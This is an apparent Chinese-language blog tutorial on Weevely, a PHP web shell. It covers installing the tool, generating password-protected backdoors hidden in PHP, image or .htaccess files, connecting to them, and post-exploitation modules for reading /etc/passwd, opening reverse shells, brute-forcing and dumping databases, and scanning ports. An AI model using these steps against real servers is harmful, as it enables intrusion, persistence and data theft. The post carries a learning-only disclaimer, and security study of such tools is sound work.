Loading... 0x0前言 >Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones. Weevely是一个用python写的一个作用于php的web shell工具,可以很好帮助开发者进行开发,但是它又是一个很好的php后门程序。 (仅用于安全学习教学之用,禁止非法用途) 项目地址:```https://github.com/epinna/Weevely``` 环境:python>= 2.7.10 linux环境安装: ``` # Make sure that the python package manager and yaml libraries are installed $ sudo apt-get install g++ python-pip libyaml-dev python-dev libncurses5-dev # Install requirements from within the weevely3/ folder $ cd weevely3/ $ sudo pip install -r requirements.txt --upgrade ``` OS X环境安装: ``` $ sudo port install python27 py27-pip $ sudo port select --set pip pip27 $ sudo port select --set python python27 # Ideally, at this point you should install editline library (http://thrysoee.dk/editline/) # to have a working line completion in terminal. See issue #7 for more info. # Install requirements from within the weevely3/ folder $ cd weevely3/ $ sudo pip install -r requirements.txt --upgrade ``` Windows环境安装: ``` # Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and # install the following requirements > pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade ``` #0x1生成后门文件 可以生成三种文件后门: - php(生成php后门文件) - img(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess) - htaccess(将后门代码插入到.htaccess,同样需要开启.htaccess支持) 使用: 格式:```weevely generate <password> <path>``` 例子:```weevely generate mypassword ~/test.php```(生成了一名为“test.php”密码为“mypassword”的php后门。最好在文件名前加路径,不然可能生成的文件在weevely的根目录下) ```weevely generate mypassword ~/test.jpg```(生成了一名为“test.php”密码为“mypassword”的图片后门) #0x2连接 格式:```weevely <URL> <password> [cmd]``` 例子:```weevely http://127.0.0.1/test.php mypassword```(连接了php后门。连接img或htaccess后门需要开启服务器对htaccess的支持) #0x3操作 连接成功后即可对服务器进行相应操作。 ```-audit.userfiles``` 枚举用户目录下的具有权限的文件(可加载用户字典),默认情况下字典很小(注意:该模块目前只支持linux,windows不支持) ```-audit.systemfiles [logs|root|home|…]``` 枚举各种系统目录并寻找可读写的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等等(注意:该模块也仅支持linux,windows不支持) ```-audit.phpconf``` 查看php配置信息 ```-audit.etcpasswd [-real]``` 查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户 ```-audit.mapwebfiles``` 从制定url开始爬取目标站点结构,可用-depth参数来指定爬取深度 ```-shell.sh/shell.php``` 利用接口执行命令,和虚拟终端类似 ```-system.info``` 在weevely里比较由用的一个模块,可以获取到系统的基本信息 ```-backdoor.reverstcp host port [-vector]``` 反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等) ```-backdoor.tcp -port <listen_port> -no-connect [-vector]``` 在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路) ```-net.ifaces``` 查看网络ip地址 ```-file.upload lpath rpath``` 上传本地文件到目标站点指定路径 ```-file.rm filename [-recursive] [-vector]``` 删除指定文件,可开启安全确认模式 ```-file.check``` 用以检查目标站点下文件的状态(md5值,大小,权限等) ```-file.download rpath lpath [-vector]``` 将目标站点上的文件下载到本地(可用于批量会话操作) ```-file.edit filename``` 对指定文件进行编辑 ```-file.read filename``` 读取指定文件内容 ```-file.ls path``` 列觉指定路径的文件信息 ```-file.upload2web``` 将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入) ```-file.webdownload <webfile_path> filename``` 从其他服务器上下载文件到目标站点 ```-file.touch rpath``` 创建一个新文件 ```-bruteforce.sql``` 爆破指定数据库用户名密码 ```-bruteforce.sqlusers``` 爆破所有数据库用户密码 ```-sql.dump``` 脱裤,你懂的 ^_^ ```-sql.console``` sql交互式终端 ```-net.scan``` 端口扫描 ```-find.perms``` 搜索具有读、写、执行权限的文件,好像比较给力 ```-find.suidsgid``` 搜索linux具有suid或者sgid标记的文件 ```-find.name``` 查找某文件或者文件夹 Last modification:October 23, 2019 © Allow specification reprint Support Appreciate the author AliPayWeChat Like 0 如果觉得我的文章对你有用,请随意赞赏